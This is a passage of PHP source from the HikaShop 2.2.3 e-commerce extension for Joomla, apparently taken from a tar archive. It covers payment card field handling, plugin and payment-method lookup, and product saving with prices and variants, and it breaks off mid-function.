					$cc_CCV=substr(preg_replace('#[^0-9]#','',$cc_CCVs[$payment.'_'.$payment_id]),0,4);
					if(strlen($cc_CCV)<3){
						$cc_CCV='';
					}
				}
				$cc_types = JRequest::getVar( 'hikashop_credit_card_type',
array(), '', 'array' );
				$cc_type='';
				if(!empty($cc_types[$payment.'_'.$payment_id])){
					$cc_type=$cc_types[$payment.'_'.$payment_id];
				}
				$cc_owners = JRequest::getVar( 'hikashop_credit_card_owner',
array(), '', 'array' );
				$cc_owner='';
				if(!empty($cc_owners[$payment.'_'.$payment_id])){
					$cc_owner=strip_tags($cc_owners[$payment.'_'.$payment_id]);
				}
				$new_cc_valid = !(empty($cc_number) || empty($cc_month) ||
empty($cc_year) ||
(empty($cc_CCV)&&!empty($payment_data->ask_ccv)) ||
(empty($cc_owner)&&!empty($payment_data->ask_owner)));
				if($new_cc_valid){
					$app->setUserState(
HIKASHOP_COMPONENT.'.cc_number',base64_encode($cc_number));
					$app->setUserState(
HIKASHOP_COMPONENT.'.cc_month',base64_encode($cc_month));
					$app->setUserState(
HIKASHOP_COMPONENT.'.cc_year',base64_encode($cc_year));
					$app->setUserState(
HIKASHOP_COMPONENT.'.cc_CCV',base64_encode($cc_CCV));
					$app->setUserState(
HIKASHOP_COMPONENT.'.cc_type',base64_encode($cc_type));
					$app->setUserState(
HIKASHOP_COMPONENT.'.cc_owner',base64_encode($cc_owner));

					$ret = true;
				}
			}
		}
		return $ret;
	}

	function fillListingColumns(&$rows, &$listing_columns, &$view)
{
		$listing_columns['price'] = array(
			'name' => 'PRODUCT_PRICE',
			'col' => 'col_display_price'
		);
		$listing_columns['restriction'] = array(
			'name' => 'HIKA_RESTRICTIONS',
			'col' => 'col_display_restriction'
		);

		foreach($rows as &$row) {
			if(!empty($row->payment_params) &&
is_string($row->payment_params))
				$row->plugin_params = unserialize($row->payment_params);

			$row->col_display_price = '';
			if(bccomp($row->payment_price, 0, 3)) {
				$row->col_display_price =
$view->currencyClass->displayPrices(array($row),
'payment_price', 'payment_currency');
			}
			if(isset($row->plugin_params->payment_percentage) &&
bccomp($row->plugin_params->payment_percentage, 0, 3)) {
				$row->col_display_price .= '<br/>';
				$row->col_display_price .=
$row->plugin_params->payment_percentage.'%';
			}

			$restrictions = array();
			if(!empty($row->plugin_params->payment_min_volume))
				$restrictions[] = JText::_('SHIPPING_MIN_VOLUME') .
':' . $row->plugin_params->payment_min_volume .
$row->plugin_params->payment_size_unit;
			if(!empty($row->plugin_params->payment_max_volume))
				$restrictions[] = JText::_('SHIPPING_MAX_VOLUME') .
':' . $row->plugin_params->payment_max_volume .
$row->plugin_params->payment_size_unit;

			if(!empty($row->plugin_params->payment_min_weight))
				$restrictions[] = JText::_('SHIPPING_MIN_WEIGHT') .
':' . $row->plugin_params->payment_min_weight .
$row->plugin_params->payment_weight_unit;
			if(!empty($row->plugin_params->payment_max_weight))
				$restrictions[] = JText::_('SHIPPING_MAX_WEIGHT') .
':' . $row->plugin_params->payment_max_weight .
$row->plugin_params->payment_weight_unit;

			if(isset($row->plugin_params->payment_min_price) &&
bccomp($row->plugin_params->payment_min_price, 0, 5)) {
				$row->payment_min_price =
$row->plugin_params->payment_min_price;
				$restrictions[] = JText::_('SHIPPING_MIN_PRICE') .
':' . $view->currencyClass->displayPrices(array($row),
'payment_min_price', 'payment_currency');
			}
			if(isset($row->plugin_params->payment_max_price) &&
bccomp($row->plugin_params->payment_max_price, 0, 5)) {
				$row->payment_max_price =
$row->plugin_params->payment_max_price;
				$restrictions[] = JText::_('SHIPPING_MAX_PRICE') .
':' . $view->currencyClass->displayPrices(array($row),
'payment_max_price', 'payment_currency');
			}
			if(!empty($row->plugin_params->payment_zip_prefix))
				$restrictions[] = JText::_('SHIPPING_PREFIX') . ':'
. $row->plugin_params->payment_zip_prefix;
			if(!empty($row->plugin_params->payment_min_zip))
				$restrictions[] = JText::_('SHIPPING_MIN_ZIP') .
':' . $row->plugin_params->payment_min_zip;
			if(!empty($row->plugin_params->payment_max_zip))
				$restrictions[] = JText::_('SHIPPING_MAX_ZIP') .
':' . $row->plugin_params->payment_max_zip;
			if(!empty($row->plugin_params->payment_zip_suffix))
				$restrictions[] = JText::_('SHIPPING_SUFFIX') . ':'
. $row->plugin_params->payment_zip_suffix;
			if(!empty($row->payment_zone_namekey)) {
				$zone = $view->zoneClass->get($row->payment_zone_namekey);
				$restrictions[] = JText::_('ZONE') . ':' .
$zone->zone_name_english;
			}
			$row->col_display_restriction = implode('<br/>',
$restrictions);

			unset($row);
		}
	}
}
plugin.php000064400000005002151160302620006544 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopPluginClass extends hikashopClass {
	var $tables = array('plugin');
	var $pkeys = array('plugin_id');
	var $toggle = array('plugin_published' =>
'plugin_id');
	var $deleteToggle = array('plugin' =>
array('plugin_type', 'plugin_id'));

	function get($id, $default = '') {
		$result = parent::get($id);
		if(!empty($result->plugin_params))
			$result->plugin_params = unserialize($result->plugin_params);
		return $result;
	}

	function save(&$element, $reorder = true) {
		JPluginHelper::importPlugin('hikashop');
		$dispatcher = JDispatcher::getInstance();
		$do = true;
		if(empty($element->payment_id))
			$dispatcher->trigger('onBeforeHikaPluginCreate',
array('plugin', &$element, &$do));
		else
			$dispatcher->trigger('onBeforeHikaPluginUpdate',
array('plugin', &$element, &$do));

		if(!$do)
			return false;

		if(isset($element->plugin_params) &&
!is_string($element->plugin_params))
			$element->plugin_params = serialize($element->plugin_params);

		if(empty($element->plugin_id))
			unset($element->plugin_id);

		$status = parent::save($element);
		if($status && empty($element->plugin_id)) {
			$element->plugin_id = $status;
			if($reorder) {
				$orderClass = hikashop_get('helper.order');
				$orderClass->pkey = 'plugin_id';
				$orderClass->table = 'plugin';
				$orderClass->groupVal = $element->plugin_type;
				$orderClass->orderingMap = 'plugin_ordering';
				$orderClass->reOrder();
			}
		}

		if($status && !empty($element->plugin_published) &&
!empty($element->plugin_id)) {
			$db = JFactory::getDBO();
			$query = 'SELECT plugin_type FROM ' .
hikashop_table('plugin') . ' WHERE plugin_id = ' .
(int)$element->plugin_id;
			$db->setQuery($query);
			$name = $db->loadResult();
			if(!HIKASHOP_J16) {
				$query = 'UPDATE
'.hikashop_table('plugins',false).' SET published = 1
WHERE published = 0 AND element = ' . $db->Quote($name) . '
AND folder = ' . $db->Quote('hikashop');
			} else {
				$query = 'UPDATE
'.hikashop_table('extensions',false).' SET enabled = 1
WHERE enabled = 0 AND type = ' . $db->Quote('plugin') .
' AND element = ' . $db->Quote($name) . ' AND folder =
' . $db->Quote('hikashop');
			}
			$db->setQuery($query);
			$db->query();
		}
		return $status;
	}
}
plugins.php000064400000013101151160302620006726 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopPluginsClass extends hikashopClass{

	function  __construct( $config = array() ){
		if(version_compare(JVERSION,'1.6','<')){
			$this->toggle = array('published'=>'id');
			$this->pkeys = array('id');
		}else{
			$this->toggle =
array('enabled'=>'extension_id');
			$this->pkeys = array('extension_id');
		}
		return parent::__construct($config);
	}

	function getTable(){
		if(version_compare(JVERSION,'1.6','<')){
			return hikashop_table('plugins',false);
		}else{
			return hikashop_table('extensions',false);
		}
	}

	function
getMethods($type='shipping',$name='',$shipping='',$currency=''){
		$where = array();
		$lf='';
		$select='*';
		if(!empty($name)){
			$where[] =
$type.'_type='.$this->database->Quote($name);
		}

		if(!empty($shipping)){
			$where[] = '(payment_shipping_methods IN
(\'\',\'_\') OR payment_shipping_methods LIKE
\'%\n'.$shipping.'\n%\' OR payment_shipping_methods
LIKE \''.$shipping.'\n%\' OR payment_shipping_methods
LIKE \'%\n'.$shipping.'\' OR payment_shipping_methods
LIKE \''.$shipping.'\')';
		}
		if(!empty($currency)){
			$where[] = "(payment_currency IN
('','_','all') OR payment_currency LIKE
'%,".intval($currency).",%')";
		}

		$app = JFactory::getApplication();
		if(!$app->isAdmin()){
			$access = $type.'_access';
			hikashop_addACLFilters($where,$access);
		}

		if(!empty($where)) {
			$where = ' WHERE '.implode(' AND ',$where);
		} else {
			$where = '';
		}
		if($type == 'shipping') {
			$where .= ' ORDER BY shipping_ordering ASC';
		}
		if($type == 'payment') {
			$where .= ' ORDER BY payment_ordering ASC';
		}

		$query = 'SELECT '.$select.' FROM
'.hikashop_table($type).' '.$lf.$where;

		$this->database->setQuery($query);
		$methods = $this->database->loadObjectList($type.'_id');
		$this->params($methods,$type);
		if(empty($methods)){
			$methods = array();
		} elseif($type == 'payment') {
			$types = array();
			foreach($methods as $method) {
				$types[$method->payment_type] =
$this->database->Quote($method->payment_type);
			}
			$types = implode(',',$types);
			if(version_compare(JVERSION,'1.6','<')){
				$query='SELECT *,published as enabled FROM
'.hikashop_table('plugins',false).' WHERE element IN
('.$types.') AND folder=\'hikashoppayment\' ORDER BY
ordering ASC';
			}else{
				$query='SELECT * FROM
'.hikashop_table('extensions',false).' WHERE element IN
('.$types.') AND folder=\'hikashoppayment\' AND
type=\'plugin\' ORDER BY ordering ASC';
			}
			$this->database->setQuery($query);
			$plugins = $this->database->loadObjectList();
			foreach($methods as $k => $method){
				foreach($plugins as $plugin){
					if($plugin->element == $method->payment_type){
						foreach(get_object_vars($plugin) as $key => $val){
							$methods[$k]->$key = $val;
						}
						break;
					}
				}
			}
		}

		return $methods;
	}

	function params(&$methods,$type){
		if(!empty($methods)){
			$params = $type.'_params';
			foreach($methods as $k => $el){
				if(!empty($el->$params)){
					$methods[$k]->$params = @unserialize($el->$params);
				}
			}
		}
	}

	function get($id,$default=''){
		$result = parent::get($id);
		$this->_loadParams($result);
		return $result;
	}

	function getByName($type,$name){
		if(version_compare(JVERSION,'1.6','<')){
			$query = 'SELECT * FROM
'.hikashop_table('plugins',false).' WHERE
folder='.$this->database->Quote($type).' AND
element='.$this->database->Quote($name);
		}else{
			$query = 'SELECT * FROM
'.hikashop_table('extensions',false).' WHERE
folder='.$this->database->Quote($type).' AND
element='.$this->database->Quote($name).' AND
type=\'plugin\'';
		}
		$this->database->setQuery($query);
		$result = $this->database->loadObject();
		$this->_loadParams($result);
		return $result;
	}

	function _loadParams(&$result){
		if(!empty($result->params)){
			if(version_compare(JVERSION,'1.6','<')){
				$lines = explode("\n",$result->params);
				$result->params = array();
				foreach($lines as $line){
					$param = explode('=',$line,2);
					if(count($param)==2){
						$result->params[$param[0]]=$param[1];
					}
				}
			}else{
				$registry = new JRegistry;
				if(version_compare(JVERSION,'3.0','<')) {
					$registry->loadJSON($result->params);
				} else {
					$registry->loadString($result->params, 'JSON');
				}
				$result->params = $registry->toArray();
			}

		}
	}

	function save(&$element) {
		JPluginHelper::importPlugin('hikashop');
		$dispatcher = JDispatcher::getInstance();
		$do = true;
		if(empty($element->plugin_id))
			$dispatcher->trigger('onBeforeHikaPluginCreate',
array('joomla.plugin', &$element, &$do));
		else
			$dispatcher->trigger('onBeforeHikaPluginUpdate',
array('joomla.plugin', &$element, &$do));

		if(!$do)
			return false;

		if(isset($element->plugin_params) &&
!is_string($element->plugin_params)){
			$element->plugin_params = serialize($element->plugin_params);
		}

		if(!empty($element->params)){
			if(version_compare(JVERSION,'1.6','<')){
				$params = '';
				foreach($element->params as $key => $val){
					$params.=$key.'='.$val."\n";
				}
				$element->params = rtrim($params);
			}else{
				$handler = JRegistryFormat::getInstance('JSON');
				$element->params =
$handler->objectToString($element->params);
			}
		}
		return parent::save($element);
	}

}
product.php000064400000162625151160302620006745 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	2.2.3
 * @author	hikashop.com
 * @copyright	(C) 2010-2013 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
class hikashopProductClass extends hikashopClass{
	var $tables =
array('price','variant','product_related','product_related','product_category','product');
	var $pkeys =
array('price_product_id','variant_product_id','product_related_id','product_id','product_id','product_id');
	var $namekeys =
array('','','','');
	var $parent = 'product_parent_id';
	var $toggle =
array('product_published'=>'product_id');
	var $type = '';

	function get($id,$default=null){
		$element = parent::get($id);
		if($element){
			$this->addAlias($element);
		}
		return $element;
	}

	function saveForm(){
		$oldProduct = null;
		$product_id = hikashop_getCID('product_id');
		$categories = JRequest::getVar( 'category', array(),
'', 'array' );
		JArrayHelper::toInteger($categories);
		$newCategories = array();
		if(count($categories)){
			foreach($categories as $category){
				$newCategory = new stdClass();
				$newCategory->category_id = $category;
				$newCategories[]=$newCategory;
			}
		}
		if($product_id){
			$oldProduct = $this->get($product_id);
			$oldProduct->categories = $newCategories;
		}else{
			$oldProduct = new stdClass;
			$oldProduct->categories = $newCategories;
		}
		$fieldsClass = hikashop_get('class.field');
		$element = $fieldsClass->getInput('product',$oldProduct);

		$status = true;
		if(empty($element)){
			$element = $_SESSION['hikashop_product_data'];
			$status = false;
		}
		if($product_id){
			$element->product_id = $product_id;
		}

		if(isset($element->product_price_percentage)){
			$element->product_price_percentage =
hikashop_toFloat($element->product_price_percentage);
		}

		$element->categories = $categories;
		if(empty($element->product_id) &&
!count($element->categories) &&
(empty($element->product_type) || $element->product_type ==
'main')) {
			$app = JFactory::getApplication();
			$id =
$app->getUserState(HIKASHOP_COMPONENT.'.product.filter_id');
			if(empty($id) || !is_numeric($id)){
				$id='product';
				$class = hikashop_get('class.category');
				$class->getMainElement($id);
			}
			if(!empty($id)){
				$element->categories = array($id);
			}
		}
		$element->related = array();
		$related = JRequest::getVar( 'related', array(), '',
'array' );
		JArrayHelper::toInteger($related);
		if(!empty($related)){
			$related_ordering = JRequest::getVar( 'related_ordering',
array(), '', 'array' );
			JArrayHelper::toInteger($related_ordering);
			foreach($related as $id){
				$obj = new stdClass();
				$obj->product_related_id = $id;
				$obj->product_related_ordering = $related_ordering[$id];
				$element->related[$id] = $obj;
			}
		}
		$options = JRequest::getVar( 'options', array(), '',
'array' );
		$element->options = array();
		JArrayHelper::toInteger($element->options);
		if(!empty($options)){
			$related_ordering = JRequest::getVar( 'options_ordering',
array(), '', 'array' );
			JArrayHelper::toInteger($related_ordering);
			foreach($options as $id){
				$obj = new stdClass();
				$obj->product_related_id = $id;
				$obj->product_related_ordering = $related_ordering[$id];
				$element->options[$id] = $obj;
			}
		}
		$element->images = JRequest::getVar( 'image', array(),
'', 'array' );
		JArrayHelper::toInteger($element->images);
		$element->files = JRequest::getVar( 'file', array(),
'', 'array' );
		JArrayHelper::toInteger($element->files);

		$element->imagesorder = JRequest::getVar('imageorder',
array(), '', 'array');
		JArrayHelper::toInteger($element->imagesorder);

		$priceData = JRequest::getVar( 'price', array(), '',
'array' );
		$element->prices = array();
		foreach($priceData as $column => $value){
			hikashop_secureField($column);
			if($column=='price_access'){
				if(!empty($value)){
					foreach($value as $k => $v){
						$value[$k] =
preg_replace('#[^a-z0-9,]#i','',$v);
					}
				}
			}elseif($column=='price_value'){
				$this->toFloatArray($value);
			}else{
				JArrayHelper::toInteger($value);
			}
			foreach($value as $k => $val){
				if($column=='price_min_quantity' && $val==1){
					$val=0;
				}
				if(!isset($element->prices[$k])) $element->prices[$k] = new
stdClass();
				$element->prices[$k]->$column = $val;
			}
		}
		$element->oldCharacteristics = array();
		if(isset($element->product_type) &&
$element->product_type=='variant'){
			$characteristics = JRequest::getVar( 'characteristic',
array(), '', 'array' );
			JArrayHelper::toInteger($characteristics);
			if(empty($characteristics)){
				$element->characteristics = array();
			}else{
				$this->database->setQuery('SELECT * FROM
'.hikashop_table('characteristic').' WHERE
characteristic_id IN
('.implode(',',$characteristics).')');
				$element->characteristics =
$this->database->loadObjectList('characteristic_id');
			}
		}else{
			$characteristics = JRequest::getVar( 'characteristic',
array(), '', 'array' );
			JArrayHelper::toInteger($characteristics);
			if(!empty($characteristics)){
				if(!empty($element->product_id)){
					$this->database->setQuery('SELECT b.characteristic_id FROM
'.hikashop_table('variant').' AS a LEFT JOIN
'.hikashop_table('characteristic').' AS b ON
a.variant_characteristic_id=b.characteristic_id WHERE a.variant_product_id
='.$element->product_id.' AND
b.characteristic_parent_id=0');
					if(!HIKASHOP_J25){
						$element->oldCharacteristics =
$this->database->loadResultArray();
					} else {
						$element->oldCharacteristics =
$this->database->loadColumn();
					}
				}
				if(empty($element->oldCharacteristics)){
					$element->oldCharacteristics = array();
				}
				$characteristics_ordering = JRequest::getVar(
'characteristic_ordering', array(), '',
'array' );
				JArrayHelper::toInteger($characteristics_ordering);
				$characteristics_default = JRequest::getVar(
'characteristic_default', array(), '',
'array' );
				JArrayHelper::toInteger($characteristics_default);
				$this->database->setQuery('SELECT * FROM
'.hikashop_table('characteristic').' WHERE
characteristic_parent_id IN
('.implode(',',$characteristics).')');
				$values = $this->database->loadObjectList();
				$element->characteristics = array();
				foreach($characteristics as $k => $id){
					$obj = new stdClass();
					$obj->characteristic_id = $id;
					$obj->ordering = $characteristics_ordering[$k];
					$obj->default_id = (int)@$characteristics_default[$k];
					$obj->values = array();
					foreach($values as $value){
						if($value->characteristic_parent_id==$id){
							$obj->values[$value->characteristic_id]=$value->characteristic_value;
						}
					}
					$element->characteristics[]=$obj;
				}
			}
		}
		$class = hikashop_get('helper.translation');
		$class->getTranslations($element);

		if(!empty($element->product_sale_start)){
			$element->product_sale_start=hikashop_getTime($element->product_sale_start);
		}
		if(!empty($element->product_sale_end)){
			$element->product_sale_end=hikashop_getTime($element->product_sale_end);
		}

		$element->product_max_per_order=(int)$element->product_max_per_order;

		$element->product_description =
JRequest::getVar('product_description','','','string',JREQUEST_ALLOWRAW);
		if(!empty($element->product_id) &&
!empty($element->product_code)){
			$query = 'SELECT product_id FROM
'.hikashop_table('product').' WHERE product_code  =
'.$this->database->Quote($element->product_code).' AND
product_id!='.(int)$element->product_id.' LIMIT 1';
			$this->database->setQuery($query);
			if($this->database->loadResult()){
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::_( 'DUPLICATE_PRODUCT' ),
'error');
				JRequest::setVar( 'fail', $element  );
				return false;
			}
		}
		if($status){
			$status = $this->save($element);
		}else{
			JRequest::setVar( 'fail', $element  );
			return $status;
		}
		if($status){
			$this->updateCategories($element,$status);
			$this->updatePrices($element,$status);
			$this->updateFiles($element,$status,'files');
			$this->updateFiles($element,$status,'images',$element->imagesorder);
			$this->updateRelated($element,$status,'related');
			$this->updateRelated($element,$status,'options');
			$this->updateCharacteristics($element,$status);
			$class->handleTranslations('product',$status,$element);
		}else{
			JRequest::setVar( 'fail', $element  );
			if(empty($element->product_id) &&
empty($element->product_code) &&
empty($element->product_name)){
				$app = JFactory::getApplication();
				$app->enqueueMessage(JText::_( 'SPECIFY_NAME_AND_CODE' ),
'error');
			}else{
				$query = 'SELECT product_id FROM
'.hikashop_table('product').' WHERE product_code  =
'.$this->database->Quote($element->product_code).' LIMIT
1';
				$this->database->setQuery($query);
				if($this->database->loadResult()){
					$app = JFactory::getApplication();
					$app->enqueueMessage(JText::_( 'DUPLICATE_PRODUCT' ),
'error');
				}
			}
		}
		return $status;
	}

	function getCategories($product_id){
		if(empty($product_id)) return false;
		static $categoriesArray = array();
		if(!isset($categoriesArray[$product_id])){
			$query='SELECT category_id FROM
'.hikashop_table('product_category').' WHERE
product_id='.$product_id.' ORDER BY ordering ASC';
			$this->database->setQuery($query);
			if(!HIKASHOP_J25){
				$categoriesArray[$product_id]=$this->database->loadResultArray();
			} else {
				$categoriesArray[$product_id]=$this->database->loadColumn();
			}
		}
		return $categoriesArray[$product_id];
	}

	function getProducts($ids,$mode='id'){
		if(is_numeric($ids)){
			$ids = array($ids);
		}
		$where='';
		if(empty($ids)){
			$this->database->setQuery('SELECT product_id FROM
'.hikashop_table('product').' ORDER BY product_id
ASC');
			if(!HIKASHOP_J25){
				$ids = $this->database->loadResultArray();
			} else {
				$ids = $this->database->loadColumn();
			}
		}else{
			JArrayHelper::toInteger($ids,0);
		}

		if(count($ids)<1) return false;

		$query = 'SELECT * FROM
'.hikashop_table('product_related').' AS a WHERE
a.product_id IN ('.implode(',',$ids).')';
		$this->database->setQuery($query);
		$related = $this->database->loadObjectList();
		foreach($related as $rel){
			if($mode!='import' &&
$rel->product_related_type=='options' &&
!in_array($rel->product_related_id,$ids))
$ids[]=$rel->product_related_id;
		}

		$where=' WHERE product_id IN
('.implode(',',$ids).') OR product_parent_id IN
('.implode(',',$ids).')';
		$query = 'SELECT * FROM
'.hikashop_table('product').$where.' ORDER BY
product_parent_id ASC, product_id ASC';
		$this->database->setQuery($query);
		$all_products =
$this->database->loadObjectList('product_id');
		if(empty($all_products)) return false;

		$all_ids = array_keys($all_products);

		$products = array();
		$variants = array();

		$ids = array();
		foreach($all_products as $key => $product){
			$all_products[$key]->prices=array();
			$all_products[$key]->files=array();
			$all_products[$key]->images=array();
			$all_products[$key]->variant_links=array();
			$all_products[$key]->translations=array();
			if($product->product_type=='main'){
				$all_products[$key]->categories=array();
				$all_products[$key]->categories_ordering=array();
				$all_products[$key]->related=array();
				$all_products[$key]->options=array();
				$all_products[$key]->variants=array();
				$products[$product->product_id]=&$all_products[$key];
				$ids[] = $product->product_id;
			}else{
				foreach($all_products as $key2 => $main){
					if($main->product_type != 'main') continue;
					if($main->product_id == $product->product_parent_id){
						$all_products[$key2]->variants[$product->product_id]=&$all_products[$key];
					}
				}
				$variants[$product->product_id]=&$all_products[$key];
			}
		}

		foreach($related as $rel){
			$type = $rel->product_related_type;
			$all_products[$rel->product_id]->{$type}[]=$rel->product_related_id;
		}

		$transHelper = hikashop_get('helper.translation');
		if($transHelper->isMulti(true)){
			$trans_table = 'jf_content';
			if($transHelper->falang){
				$trans_table = 'falang_content';
			}
			$query = 'SELECT * FROM
'.hikashop_table($trans_table,false).' WHERE reference_id IN
('.implode(',',$all_ids).')  AND
reference_table=\'hikashop_product\' ORDER BY reference_id
ASC';
			$this->database->setQuery($query);
			$translations = $this->database->loadObjectList();
			if(!empty($translations)){
				foreach($translations as $translation){
					$all_products[$translation->reference_id]->translations[]=$translation;
				}
			}
		}
		if(!empty($ids)){
			$query = 'SELECT * FROM
'.hikashop_table('product_category').' WHERE product_id
IN ('.implode(',',$ids).') ORDER BY ordering
ASC';
			$this->database->setQuery($query);
			$categories = $this->database->loadObjectList();
			if(!empty($categories)){
				foreach($categories as $category){
					$all_products[$category->product_id]->categories[]=$category->category_id;
					$all_products[$category->product_id]->categories_ordering[]=$category->ordering;
				}
			}
		}

		$query = 'SELECT * FROM
'.hikashop_table('price').' WHERE price_product_id IN
('.implode(',',$all_ids).')';
		$this->database->setQuery($query);
		$prices = $this->database->loadObjectList();
		if(!empty($prices)){
			foreach($prices as $price){
				$all_products[$price->price_product_id]->prices[]=$price;
			}
		}
		$query = 'SELECT * FROM
'.hikashop_table('file').' WHERE file_ref_id IN
('.implode(',',$all_ids).') AND file_type IN
(\'product\',\'file\') ORDER BY file_ordering ASC,
file_id ASC';
		$this->database->setQuery($query);
		$files = $this->database->loadObjectList();
		if(!empty($files)){
			foreach($files as $file){
				if($file->file_type=='file'){
					$type='files';
				}else{
					$type='images';
				}
				$all_products[$file->file_ref_id]->{$type}[]=$file;
			}
		}
		$query = 'SELECT * FROM
'.hikashop_table('variant').' WHERE variant_product_id
IN ('.implode(',',$all_ids).') ORDER BY ordering
ASC';
		$this->database->setQuery($query);
		$variants = $this->database->loadObjectList();
		if(!empty($variants)){
			foreach($variants as $variant){
				$all_products[$variant->variant_product_id]->variant_links[]=$variant->variant_characteristic_id;
			}
		}
		$this->products =& $products;
		$this->all_products =& $all_products;
		$this->variants =& $variants;
		return true;
	}

	function toFloatArray(&$array, $default = null){
		if (is_array($array)) {
			foreach ($array as $i => $v) {
				$array[$i] = hikashop_toFloat($v);
			}
		} else {
			if ($default === null) {
				$array = array();
			} elseif (is_array($default)) {
				$this->toFloatArray($default, null);
				$array = $default;
			} else {
				$array = array( (float) $default );
			}
		}
	}

	function addAlias(&$element){
		if(empty($element->product_alias)){
			$element->alias = $element->product_name;
		}else{
			$element->alias = $element->product_alias;
		}
		$config = JFactory::getConfig();
		if(!$config->get('unicodeslugs')){
			$lang = JFactory::getLanguage();
			$element->alias = $lang->transliterate($element->alias);
		}
		$app = JFactory::getApplication();
		if(method_exists($app,'stringURLSafe')){
			$element->alias =
$app->stringURLSafe(strip_tags($element->alias));
		}else{
			$element->alias =
JFilterOutput::stringURLSafe(strip_tags($element->alias));
		}
	}

	function save(&$element,$stats=false){
		if(!$stats) $element->product_modified=time();
		if(empty($element->product_id)){
			if(strlen(@$element->product_quantity)==0){
				$element->product_quantity=-1;
			}
			$element->product_created=@$element->product_modified;
		}

		if(empty($element->product_id)){
			if(empty($element->product_type)){
				if(!isset($element->product_parent_id) ||
empty($element->product_parent_id)){
					$element->product_type='main';
				}else{
					$element->product_type='variant';
				}
			}
		}
		if(isset($element->product_quantity) &&
!is_numeric($element->product_quantity)){
			$element->product_quantity=-1;
		}
		$new=false;
		if(empty($element->product_id)){
			if(empty($element->product_code) &&
!empty($element->product_name)){
				$search =
explode(",","ç,æ,œ,á,é,í,ó,ú,à,è,ì,ò,ù,ä,ë,ï,ö,ü,ÿ,â,ê,î,ô,û,å,e,i,ø,u");
				$replace =
explode(",","c,ae,oe,a,e,i,o,u,a,e,i,o,u,a,e,i,o,u,y,a,e,i,o,u,a,e,i,o,u");
				$test = str_replace($search, $replace, $element->product_name);
				$test=preg_replace('#[^a-z0-9_-]#i','',$test);
				if(empty($test)){
					$query = 'SELECT MAX(`product_id`) FROM
'.hikashop_table('product');
					$this->database->setQuery($query);
					$last_pid = $this->database->loadResult();
					$last_pid++;
					$element->product_code = 'product_'.$last_pid;
				}else{
					$test = str_replace($search, $replace, $element->product_name);
					$element->product_code =
preg_replace('#[^a-z0-9_-]#i','_',$test);
				}
			}elseif(empty($element->product_code)){
				return false;
			}
			$new=true;
		}
		JPluginHelper::importPlugin( 'hikashop' );
		$dispatcher = JDispatcher::getInstance();
		$do = true;
		if($new){
			$dispatcher->trigger( 'onBeforeProductCreate', array( &
$element, & $do) );
		}else{
			$dispatcher->trigger( 'onBeforeProductUpdate', array( &
$element, & $do) );
		}
		if(!$do){
			return false;
		}
		$status = parent::save($element);
		if($status){
			$element->product_id = $status;
			if($new){
				$dispatcher->trigger( 'onAfterProductCreate', array( &
$element ) );
			}else{
				$dispatcher->trigger( 'onAfterProductUpdate', array( &
$element ) );
			}
		}
		return $status;
	}

	function updatePrices($element,$status){
		$filters=array('price_product_id='.$status);
		if(count($element->prices)){
			$ids = array();
			foreach($element->prices as $price){
				if(!empty($price->price_id) &&
!empty($price->price_value)) $ids[] = $price->price_id;
			}
			if(!empty($ids)){
				$filters[]= 'price_id NOT IN
('.implode(',',$ids).')';
			}
		}
		$query = 'DELETE FROM
'.hikashop_table('price').' WHERE '.implode('
AND ',$filters);
		$this->database->setQuery($query);
		$this->database->query();

		if(count($element->prices)){
			$insert = array();
			foreach($element->prices as $price){
				if(empty($price->price_value)) continue;
				if(empty($price->price_id))	$price->price_id = 'NULL';
				$line =
'('.(int)$price->price_currency_id.','.$status.','.(int)$price->price_min_quantity.','.(float)$price->price_value.','.$price->price_id;
				if(hikashop_level(2)){
					if(empty($price->price_access)){
						$price->price_access = 'all';
					}
					$line.=','.$this->database->Quote($price->price_access);
				}
				$insert[]=$line.')';
			}
			if(!empty($insert)){
				$select =
'price_currency_id,price_product_id,price_min_quantity,price_value,price_id';
				if(hikashop_level(2)){
					$select.=',price_access';
				}
				$query = 'REPLACE '.hikashop_table('price').'
('.$select.') VALUES
'.implode(',',$insert).';';
				$this->database->setQuery($query);
				$this->database->query();
			}
		}
	}

	function updateCharacteristics($element,$status){
		if($element->product_type=='main'){
			$config =& hikashop_config();
			$auto_variants = $config->get('auto_variants',1);
			$ids= array();
			$main_ids= array();
			$filter='';
			if(@count($element->characteristics)){
				foreach($element->characteristics as $c){
					$ids[]=(int)$c->characteristic_id;
					$main_ids[]=(int)$c->characteristic_id;
					$ids[]=(int)$c->default_id;
				}
				$filter = ' AND variant_characteristic_id NOT IN
('.implode(',',$ids).')';
			}
			$query = 'DELETE FROM
'.hikashop_table('variant').' WHERE
variant_product_id='.$status.$filter;
			$this->database->setQuery($query);
			$this->database->query();
			if(!empty($ids)){
				$insert = array();
				foreach($element->characteristics as $c){
					$insert[]='('.(int)$c->characteristic_id.','.$status.','.(int)$c->ordering.')';
					$insert[]='('.(int)$c->default_id.','.$status.',0)';
				}
				$query = 'REPLACE INTO
'.hikashop_table('variant').'
(variant_characteristic_id,variant_product_id,ordering) VALUES
'.implode(',',$insert).';';
				$this->database->setQuery($query);
				$this->database->query();
			}
			if($auto_variants==0){
				$query = 'SELECT * FROM
'.hikashop_table('product').' WHERE product_parent_id =
'.$status.' AND product_type=\'variant\'';
				$this->database->setQuery($query);
				if(!HIKASHOP_J25){
					$results = $this->database->loadResultArray();
				} else {
					$results = $this->database->loadColumn();
				}
				if(count($results)){
					$query = 'SELECT
`ordering`,`variant_characteristic_id`,`variant_product_id` FROM
'.hikashop_table('variant');
					$query .= ' WHERE variant_product_id
IN('.implode(',',$results).')';
					$query .= ' ORDER BY `ordering` ASC';
					$this->database->setQuery($query);
					$results = $this->database->loadObjectList();
					if(!empty($results)){
						foreach($results as $variant){
							foreach($element->characteristics as $char){
								$char_ids = array();
